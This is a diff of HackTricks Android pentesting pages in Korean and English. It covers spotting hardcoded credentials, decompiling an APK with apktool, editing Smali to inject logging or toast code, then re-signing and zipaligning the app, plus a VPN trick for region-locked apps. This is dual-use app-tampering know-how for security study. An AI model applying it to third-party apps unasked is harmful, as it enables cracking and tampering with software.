||||||
2. 이 특정 경우에는 애플리케이션이 Dialogflow 서비스를 사용하는 것으로 관찰되었습니다. 해당 구성과 관련된 패턴을 검색합니다.
|
2. 이 특정 경우에, 애플리케이션이 Dialogflow 서비스를 사용하고 있는 것으로 관찰되었습니다. 그 구성과 관련된 패턴을 검색합니다.
|
||||||
|
|
||||||
3. 탐색 과정에서 JavaScript 코드에서 민감한 하드코딩된 자격 증명을 발견할 수 있었습니다.
|
3. 재조사 과정에서 JavaScript 코드에서 민감한 하드코딩된 자격 증명이 발견된 것은 다행이었습니다.
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
{% endhint %}
|
||||||
|
|
|
@ -1,97 +1,98 @@
|
||||||
# Smali - 디컴파일/수정/컴파일
|
# Smali - Decompiling/\[Modifying]/Compiling
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
가끔은 응용 프로그램 코드를 수정하여 숨겨진 정보에 액세스하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호 또는 플래그). 그런 다음, apk를 디컴파일하여 코드를 수정하고 다시 컴파일하는 것이 흥미로울 수 있습니다.
|
때때로 숨겨진 정보를 얻기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.
|
||||||
|
|
||||||
**Opcode 참조:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
|
||||||
|
|
||||||
## 빠른 방법
|
## Fast Way
|
||||||
|
|
||||||
**Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장 프로그램을 사용하면 명령을 실행하지 않고도 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 응용 프로그램을 설치할 수 있습니다.
|
**Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장을 사용하면 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 애플리케이션을 설치할 수 있습니다. 어떤 명령도 실행할 필요가 없습니다.
|
||||||
|
|
||||||
이 작업을 매우 간단하게 해주는 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다.
|
이 작업을 많이 용이하게 하는 또 다른 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다.
|
||||||
|
|
||||||
## APK 디컴파일
|
## Decompile the APK
|
||||||
|
|
||||||
APKTool을 사용하면 **smali 코드와 리소스**에 액세스할 수 있습니다:
|
APKTool을 사용하면 **smali 코드와 리소스**에 접근할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
apktool d APP.apk
|
apktool d APP.apk
|
||||||
```
|
```
|
||||||
만약 **apktool**이 오류를 발생시킨다면, [**최신 버전을 설치**](https://ibotpeaches.github.io/Apktool/install/)해보세요.
|
If **apktool** gives you any error, try[ installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/)
|
||||||
|
|
||||||
조사해볼만한 **흥미로운 파일들**은 다음과 같습니다:
|
Some **interesting files you should look are**:
|
||||||
|
|
||||||
* _res/values/strings.xml_ (그리고 res/values/\* 안의 모든 xml 파일)
|
* _res/values/strings.xml_ (and all xmls inside res/values/\*)
|
||||||
* _AndroidManifest.xml_
|
* _AndroidManifest.xml_
|
||||||
* _.sqlite_ 또는 _.db_ 확장자를 가진 어떤 파일이든
|
* Any file with extension _.sqlite_ or _.db_
|
||||||
|
|
||||||
만약 `apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** 인자를 사용해보세요 (리소스를 디코딩하지 않음). 그러면, 만약 문제가 소스 코드가 아닌 리소스에 있었다면, 문제가 해결될 것입니다 (리소스도 디컴파일되지 않을 것입니다).
|
If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources).
|
||||||
|
|
||||||
## Smali 코드 변경
|
## Change smali code
|
||||||
|
|
||||||
**명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, 새로운 명령어를 **추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경합니다. 그런 다음 **smalise 확장 프로그램**을 설치하면 편집기가 잘못된 명령어를 알려줍니다.\
|
You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\
|
||||||
다음에서 **일부 예시**를 찾을 수 있습니다:
|
Some **examples** can be found here:
|
||||||
|
|
||||||
* [Smali 변경 예시](smali-changes.md)
|
* [Smali changes examples](smali-changes.md)
|
||||||
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
|
||||||
또는 [**아래에서 일부 설명된 Smali 변경 사항을 확인**](smali-changes.md#modifying-smali)할 수 있습니다.
|
Or you can [**check below some Smali changes explained**](smali-changes.md#modifying-smali).
|
||||||
|
|
||||||
## APK 재컴파일
|
## Recompile the APK
|
||||||
|
|
||||||
코드를 수정한 후에는 다음을 사용하여 코드를 **재컴파일**할 수 있습니다:
|
After modifying the code you can **recompile** the code using:
|
||||||
```bash
|
```bash
|
||||||
apktool b . #In the folder generated when you decompiled the application
|
apktool b . #In the folder generated when you decompiled the application
|
||||||
```
|
```
|
||||||
새로운 APK를 **dist** 폴더 안에 **컴파일**합니다.
|
새 APK는 _**dist**_ 폴더 **내부**에 **컴파일**됩니다.
|
||||||
|
|
||||||
만약 **apktool**이 **에러**를 발생시킨다면, [**최신 버전**을 설치](https://ibotpeaches.github.io/Apktool/install/)해보세요.
|
만약 **apktool**이 **오류**를 발생시키면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요.
|
||||||
|
|
||||||
### **새로운 APK에 서명하기**
|
### **새 APK 서명하기**
|
||||||
|
|
||||||
그런 다음, **키를 생성**해야 합니다 (비밀번호와 일부 정보를 무작위로 입력하라는 요청이 있을 것입니다):
|
그 다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다):
|
||||||
```bash
|
```bash
|
||||||
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
|
||||||
```
|
```
|
||||||
마지막으로, 새로운 APK에 **서명**하세요:
|
마지막으로, **서명**하여 새로운 APK를 만듭니다:
|
||||||
```bash
|
```bash
|
||||||
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||||
```
|
```
|
||||||
### 새로운 애플리케이션 최적화
|
### 새로운 애플리케이션 최적화
|
||||||
|
|
||||||
**zipalign**은 Android 애플리케이션 (APK) 파일에 중요한 최적화를 제공하는 아카이브 정렬 도구입니다. [자세한 정보는 여기에서 확인하세요](https://developer.android.com/studio/command-line/zipalign).
|
**zipalign**은 Android 애플리케이션 (APK) 파일에 중요한 최적화를 제공하는 아카이브 정렬 도구입니다. [자세한 정보는 여기](https://developer.android.com/studio/command-line/zipalign)에서 확인하세요.
|
||||||
```bash
|
```bash
|
||||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||||
zipalign -v 4 infile.apk
|
zipalign -v 4 infile.apk
|
||||||
```
|
```
|
||||||
### **새 APK에 서명하기 (다시?)**
|
### **새 APK 서명하기 (다시?)**
|
||||||
|
|
||||||
만약 jarsigner 대신 [apksigner](https://developer.android.com/studio/command-line/)을 사용하고 싶다면, zipalign을 적용한 후에 apk에 서명해야 합니다. 그러나 주의해야 할 점은 jarsigner로 (zipalign 이전에) 애플리케이션에 한 번만 서명하거나, zipalign 이후에 aspsigner로 한 번만 서명해야 한다는 것입니다.
|
만약 **apksigner**를 사용하고 싶다면 [**apksigner**](https://developer.android.com/studio/command-line/) 대신 jarsigner, **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다**. 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 aspsigner로 (zipalign 이후).
|
||||||
```bash
|
```bash
|
||||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||||
```
|
```
|
||||||
## Smali 수정
|
## Smali 수정
|
||||||
|
|
||||||
다음은 Hello World Java 코드입니다:
|
다음 Hello World Java 코드:
|
||||||
```java
|
```java
|
||||||
public static void printHelloWorld() {
|
public static void printHelloWorld() {
|
||||||
System.out.println("Hello World")
|
System.out.println("Hello World")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Smali 코드는 다음과 같습니다:
|
스말리 코드는 다음과 같습니다:
|
||||||
```java
|
```java
|
||||||
.method public static printHelloWorld()V
|
.method public static printHelloWorld()V
|
||||||
.registers 2
|
.registers 2
|
||||||
|
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
|
||||||
return-void
|
return-void
|
||||||
.end method
|
.end method
|
||||||
```
|
```
|
||||||
Smali 명령어 집합은 [여기](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions)에서 확인할 수 있습니다.
|
The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
|
||||||
|
|
||||||
### 경량 변경
|
### Light Changes
|
||||||
|
|
||||||
### 함수 내부에서 변수의 초기값 수정
|
### 함수 내 변수의 초기 값 수정
|
||||||
|
|
||||||
일부 변수는 함수의 시작 부분에서 _const_ 옵코드를 사용하여 정의됩니다. 이 값을 수정하거나 새로운 값을 정의할 수 있습니다:
|
일부 변수는 함수의 시작 부분에서 _const_ opcode를 사용하여 정의되며, 해당 변수의 값을 수정하거나 새로운 값을 정의할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
#Number
|
#Number
|
||||||
const v9, 0xf4240
|
const v9, 0xf4240
|
||||||
|
@ -116,26 +117,6 @@ const/4 v8, 0x1
|
||||||
const-string v5, "wins"
|
const-string v5, "wins"
|
||||||
```
|
```
|
||||||
### 기본 작업
|
### 기본 작업
|
||||||
|
|
||||||
#### Smali 파일 수정
|
|
||||||
|
|
||||||
Smali 파일은 안드로이드 애플리케이션의 소스 코드를 포함하는 파일입니다. Smali 파일을 수정하여 애플리케이션의 동작을 변경할 수 있습니다.
|
|
||||||
|
|
||||||
#### Smali 코드 분석
|
|
||||||
|
|
||||||
Smali 코드는 Dalvik 가상 머신에서 실행되는 안드로이드 애플리케이션의 바이트 코드입니다. Smali 코드를 분석하여 애플리케이션의 동작을 이해할 수 있습니다.
|
|
||||||
|
|
||||||
#### Smali 코드 인젝션
|
|
||||||
|
|
||||||
Smali 코드 인젝션은 애플리케이션의 Smali 파일에 악성 코드를 삽입하는 기술입니다. 이를 통해 애플리케이션의 동작을 조작하거나 악성 기능을 추가할 수 있습니다.
|
|
||||||
|
|
||||||
#### Smali 코드 변조
|
|
||||||
|
|
||||||
Smali 코드 변조는 애플리케이션의 Smali 파일을 수정하여 원하는 동작을 수행하도록 변경하는 기술입니다. 이를 통해 애플리케이션의 보안 기능을 우회하거나 악용할 수 있습니다.
|
|
||||||
|
|
||||||
#### Smali 코드 역어셈블
|
|
||||||
|
|
||||||
Smali 코드 역어셈블은 애플리케이션의 Smali 파일을 원래의 소스 코드로 변환하는 기술입니다. 이를 통해 애플리케이션의 동작을 분석하거나 수정할 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
#Math
|
#Math
|
||||||
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
|
||||||
|
@ -158,7 +139,7 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside
|
||||||
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6
|
||||||
goto :goto_6 #Always go to: :goto_6
|
goto :goto_6 #Always go to: :goto_6
|
||||||
```
|
```
|
||||||
### 큰 변경 사항
|
### 더 큰 변화
|
||||||
|
|
||||||
### 로깅
|
### 로깅
|
||||||
```bash
|
```bash
|
||||||
|
@ -169,19 +150,19 @@ move-result-object v1 #Move to v1
|
||||||
const-string v5, "wins" #Save "win" inside v5
|
const-string v5, "wins" #Save "win" inside v5
|
||||||
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
|
||||||
```
|
```
|
||||||
추천 사항:
|
Recommendations:
|
||||||
|
|
||||||
* 함수 내에서 선언된 변수를 사용할 경우 (선언된 v0,v1,v2...), 이러한 줄을 _.local \<number>_와 변수의 선언 (_const v0, 0x1_) 사이에 넣으세요.
|
* 함수 내에서 선언된 변수를 사용할 경우 (declared v0,v1,v2...) 이 줄들을 _.local \<number>_과 변수 선언(_const v0, 0x1_) 사이에 넣으세요.
|
||||||
* 함수 코드 중간에 로깅 코드를 넣고 싶다면:
|
* 함수 코드 중간에 로깅 코드를 넣고 싶다면:
|
||||||
* 선언된 변수의 수에 2를 더하세요. 예: _.locals 10_에서 _.locals 12_로 변경하세요.
|
* 선언된 변수의 수에 2를 추가하세요: 예: _.locals 10_에서 _.locals 12_로.
|
||||||
* 새로운 변수는 이미 선언된 변수의 다음 번호여야 합니다 (이 예시에서는 _v10_과 _v11_이어야 합니다. v0부터 시작한다는 것을 기억하세요).
|
* 새로운 변수는 이미 선언된 변수의 다음 숫자여야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요).
|
||||||
* 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요.
|
* 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요.
|
||||||
|
|
||||||
### 토스팅
|
### Toasting
|
||||||
|
|
||||||
함수의 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 기억하세요.
|
함수 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 잊지 마세요.
|
||||||
|
|
||||||
이 코드는 **함수의 중간에 삽입**되도록 준비되어 있습니다 (**변수**의 **수**를 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 **String**으로 변환한 다음 그 값을 가지고 **토스트**를 만듭니다.
|
이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수**의 **숫자**는 필요에 따라 변경하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다.
|
||||||
```bash
|
```bash
|
||||||
const/4 v10, 0x1
|
const/4 v10, 0x1
|
||||||
const/4 v11, 0x1
|
const/4 v11, 0x1
|
||||||
|
@ -193,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
||||||
move-result-object v12
|
move-result-object v12
|
||||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,57 +1,28 @@
|
||||||
<details>
|
In situations where an application is restricted to certain countries, and you're unable to install it on your Android device due to regional limitations, spoofing your location to a country where the app is available can grant you access. The steps below detail how to do this:
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
특정 국가로 제한된 애플리케이션을 사용하고 싶지만 지역 제한으로 인해 Android 기기에 설치할 수 없는 경우, 앱이 사용 가능한 국가로 위치를 위장하여 액세스할 수 있습니다. 아래 단계에서는 이를 수행하는 방법을 설명합니다:
|
|
||||||
|
|
||||||
1. **Hotspot Shield Free VPN Proxy 설치:**
|
1. **Hotspot Shield Free VPN Proxy 설치:**
|
||||||
- Google Play Store에서 Hotspot Shield Free VPN Proxy를 다운로드하고 설치합니다.
|
- Google Play 스토어에서 Hotspot Shield Free VPN Proxy를 다운로드하고 설치합니다.
|
||||||
|
|
||||||
2. **VPN 서버에 연결:**
|
2. **VPN 서버에 연결:**
|
||||||
- Hotspot Shield 애플리케이션을 엽니다.
|
- Hotspot Shield 애플리케이션을 엽니다.
|
||||||
- 액세스하려는 애플리케이션이 사용 가능한 국가를 선택하여 VPN 서버에 연결합니다.
|
- 접근하고자 하는 애플리케이션이 사용 가능한 국가를 선택하여 VPN 서버에 연결합니다.
|
||||||
|
|
||||||
3. **Google Play Store 데이터 지우기:**
|
3. **Google Play 스토어 데이터 지우기:**
|
||||||
- 기기의 **설정**으로 이동합니다.
|
- 기기의 **설정**으로 이동합니다.
|
||||||
- **앱** 또는 **애플리케이션 관리자**로 이동합니다(기기에 따라 다를 수 있음).
|
- **앱** 또는 **애플리케이션 관리자**로 진행합니다 (기기에 따라 다를 수 있습니다).
|
||||||
- 앱 목록에서 **Google Play Store**를 찾아 선택합니다.
|
- 앱 목록에서 **Google Play 스토어**를 찾아 선택합니다.
|
||||||
- 실행 중인 앱 프로세스를 종료하기 위해 **강제 종료**를 탭합니다.
|
- 앱의 실행 중인 프로세스를 종료하기 위해 **강제 중지**를 탭합니다.
|
||||||
- 그런 다음 **데이터 지우기** 또는 **저장소 지우기**를 탭하여 Google Play Store 앱을 기본 상태로 재설정합니다(정확한 용어는 다를 수 있음).
|
- 그런 다음 **데이터 지우기** 또는 **저장소 지우기**(정확한 문구는 다를 수 있음)를 탭하여 Google Play 스토어 앱을 기본 상태로 재설정합니다.
|
||||||
|
|
||||||
4. **제한된 애플리케이션에 액세스:**
|
4. **제한된 애플리케이션 접근:**
|
||||||
- **Google Play Store**를 엽니다.
|
- **Google Play 스토어**를 엽니다.
|
||||||
- 스토어는 이제 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다.
|
- 이제 스토어는 VPN을 통해 연결한 국가의 콘텐츠를 반영해야 합니다.
|
||||||
- 이제 실제 위치에서 이전에 사용할 수 없었던 애플리케이션을 검색하고 설치할 수 있어야 합니다.
|
- 이전에 실제 위치에서 사용할 수 없었던 애플리케이션을 검색하고 설치할 수 있어야 합니다.
|
||||||
|
|
||||||
### 중요 사항:
|
### 중요 사항:
|
||||||
- 이 방법의 효과는 VPN 서비스의 신뢰성 및 앱이 부과한 특정 지역 제한에 따라 다를 수 있습니다.
|
- 이 방법의 효과는 VPN 서비스의 신뢰성과 앱에 의해 부과된 특정 지역 제한 등 여러 요인에 따라 달라질 수 있습니다.
|
||||||
- VPN을 정기적으로 사용하면 일부 앱과 서비스의 성능에 영향을 줄 수 있습니다.
|
- VPN을 정기적으로 사용하면 일부 앱 및 서비스의 성능에 영향을 미칠 수 있습니다.
|
||||||
- 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 앱 또는 서비스의 서비스 약관을 준수해야 함을 유의하세요.
|
- 사용하는 앱이나 서비스의 서비스 약관을 숙지하십시오. 지역 제한을 우회하기 위해 VPN을 사용하는 것은 해당 약관을 위반할 수 있습니다.
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
